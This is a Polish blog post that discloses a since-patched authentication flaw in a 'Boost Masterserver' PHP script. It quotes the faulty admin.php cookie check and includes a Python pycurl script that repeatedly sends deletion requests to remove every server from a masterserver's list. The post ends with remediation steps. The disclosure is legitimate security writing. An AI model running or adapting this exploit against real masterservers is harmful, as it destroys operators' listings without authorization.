Usuwanie serwerów z listy podatność – Skrypt Boost Masterservera

Podatność została znaleziona kilka miesięcy temu dopiero teraz zdecydowałem się ją opisać , większość masterserwerów jest już zabezpieczona przed nią także skrypt ms do pobrania jest już zabezpieczony. Jednak zdecydowałem się wrzucić informacje o tym. W skrypcie boosta można było znaleźć podatność która pozwalała np. na usuwanie serwerów z listy. Zaznaczam że do kodu starego ms’a nie mam już dostępu zniknęły w czeluściach mojego dysku a downloadu nie znalazłem dlatego ten post nie będzie aż tak dokładny jakbym chciał. W pliku admin.php można było znaleźć kod podobny do tego

( jest to już kod poprawiony ) Z powodu błędu w warunku
if(isset($_COOKIE["adminhash"]) AND $_COOKIE["adminhash"] != $auth[2] OR !isset($_COOKIE["adminhash"]))
można było przejść do includowania admin_server_list.php.
require_once "include/admin/admin_server_list.php";
w pliku admin_server_list.php można znaleźć taki kod
else if(!empty($_GET['del'])) {
$id = intval($_GET['del']);
$sql = mysql_query("SELECT * FROM `servers` WHERE `id` = {$id}") or die(mysql_error());
if(mysql_num_rows($sql) > 0) {
$row = mysql_fetch_assoc($sql);
echo '

Usuwanie serwera IP: '.$row['address'].' Wróć';
echo '

'; } else { echo $newMess->into_msg("2", "Ten serwer nie istnieje", "2"); }
( także zmieniony już kod , ale czy poprawiony 😛 ? ) Skrypt w python 3 który wykorzystywał tą podatność
#-*- encoding: utf-8 -*-

import pycurl
import threading
import urllib.parse
import io

url = "url"
repeat = 5000;

url = url + "/admin.php?servers=1"

while True:
for x in range( 0 , repeat ):
values = {
'del': 1,
'id': x
}

c = pycurl.Curl()

c.setopt( pycurl.URL, url );
c.setopt( pycurl.NOBODY, True );
c.setopt( c.POST, True);

data = urllib.parse.urlencode( values )

c.setopt( c.POSTFIELDS, data)

c.setopt( pycurl.HEADER, True);
c.setopt( pycurl.HTTPHEADER, [ "User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)" , "Connection: keep-alive" ] );
c.setopt( pycurl.TIMEOUT, 10);

body = io.BytesIO()

c.setopt( pycurl.WRITEFUNCTION, body.write )

c.perform()
Sposoby naprawy
  • Ukrycie pliku admin.php ( zmiana nazwy , zablokowanie na ip etc. )
  • Naprawa warunku w pliku admin.php

Dodaj komentarz

Witryna wykorzystuje Akismet, aby ograniczyć spam. Dowiedz się więcej jak przetwarzane są dane komentarzy.